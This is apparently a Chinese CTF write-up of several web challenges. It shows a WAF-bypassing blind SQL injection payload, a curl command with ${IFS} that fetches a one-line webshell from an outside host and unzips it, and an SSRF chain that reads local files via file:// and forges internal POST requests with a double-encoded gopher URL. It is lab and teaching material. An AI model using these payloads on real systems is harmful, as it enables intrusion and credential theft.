Web200-1(Web1)
地址: http://web1.08067.me/ sql注入
万能密码测试无效有waf , ban掉的东西不少 ... *, and , or , union , 空格 ,逗号 抓包发现 http头发现有提示
在网上查找了一番,发现可以利用括号来代替空格
select pass from admin where user='Seclover'
select(pass)from(admin)where(user)=('Seclover')
为了消除结尾的 ' ,select * from admin where username='haha'=1='0' 这样也可以查询
逻辑是 , 假假真 为假,where后面的连等如果有一项的值为空或者为0的时候,那么整个查询结果都是空,否则就可以查询出东西
接下来,使用布尔盲注,but,逗号被过滤,mid () ,substring() ,left () , left () ,right () 等需要使用 逗号
但是 substring提供了另一个用法:SUBSTRING(str FROMpos FORlen)
构造paload uname=admin'=(select(select(substring(passwd%a0from%a0"+str(jj)+"))from%a0admin%a0where%a0uname='admin')='"+ii+xx+"')='1'='1&passwd=
然后写一个脚本自己跑,得到密码,然后登录
然后是一个模拟终端 ,不能输入空格 , 所以用${IFS} 代替空格
,x.zip为一句话,curl${IFS}http://xx.xxx.com/x.zip 然后解压 unzip${IFS}x.zip 得到shell
http://web5.08067.me/
首先是官方给的提示是:
ssrf,关注下其他的协议,flag不在本机
首先用file:///etc/sysconfig/network-scripts/ifcfg-eth0 读取网卡地址
- DEVICE=eth0
- HWADDR=00:0C:29:F0:AE:2A
- TYPE=Ethernet
- UUID=a1ca5d0e-61c9-4693-82ee-437eb0331617
- ONBOOT=yes
- NM_CONTROLLED=yes
- BOOTPROTO=static
- IPADDR=172.16.181.165
- NETMASK=255.255.255.0
- GATEWAY=172.16.181.2
- DNS1=114.114.114.114
- DNS2=172.16.181.2
然后发现post提交的页面 ,这个必须使用Gopher 协议发送post 协议,否则内网机器接收不到发送的数据
这里构造的时候要注意url 的编码和Content-Length的长度不能算错,还有就是url 编码两次
http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%2029%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3D12312%26submit%3Dsubmit
http://web3.08067.me/wakeup/index.php
官方给了提示:编辑器直接写代码
查看robots.txt 发现 index.php function.php
获得源码 ,发现是反序列化漏洞,利用就行了 ....